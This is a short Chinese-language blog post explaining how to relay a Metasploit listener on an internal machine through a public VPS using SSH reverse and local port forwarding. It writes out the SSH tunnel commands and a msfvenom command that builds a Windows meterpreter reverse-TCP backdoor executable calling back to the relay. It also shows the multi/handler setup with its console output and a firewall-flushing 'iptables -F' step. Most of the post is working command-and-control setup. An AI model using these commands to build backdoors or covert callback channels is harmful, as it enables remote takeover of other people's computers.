SSH反向代理转发至内网msf

Author Avatar
hac425 1月 28, 2018
  • 在其它设备中阅读本文章

前言

买了个便宜的 vps , 在上面装 msf 也装不上,于是想着把端口映射到内网来。

正文

拓扑如下:

paste image

首先在内网主机 B

1
ssh -fCNR 7281:localhost:5000 root@C_IP

执行完后会把 B:5000 反弹到 C_IP:7281.此时 C 监听 127.0.0.1:7281

然后然后在 公网中转服务器 C

1
2
3
ssh -fCNL *:5586:localhost:7281 localhost
将*:5586--->localhost:7281

此时 C监听 0.0.0.0:5586, 并将0.0.0.0:5586的数据转发至 localhost:7281

连接 C_IP:5586 就是连接 B_IP:5000

然后使用 msf 生成后门,反弹到 C_IP:5586

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=C_IP LPORT=5586 -f exe > /data/test.exe

然后在内网主机 B 设置好 handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
^[[A^[[Apayload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 5000
lport => 5000
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 0.0.0.0 yes The listen address
LPORT 5000 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:5000

运行,数据流如下

1
A --> C_IP:5586 ---> C_IP:7281 ---> B_IP:5000

vultr默认开启了 iptablesiptables -F 清理才能访问端口。

本站文章均原创, 转载注明来源
本文链接:http://blog.hac425.top/2018/01/28/ssh_to_msf.html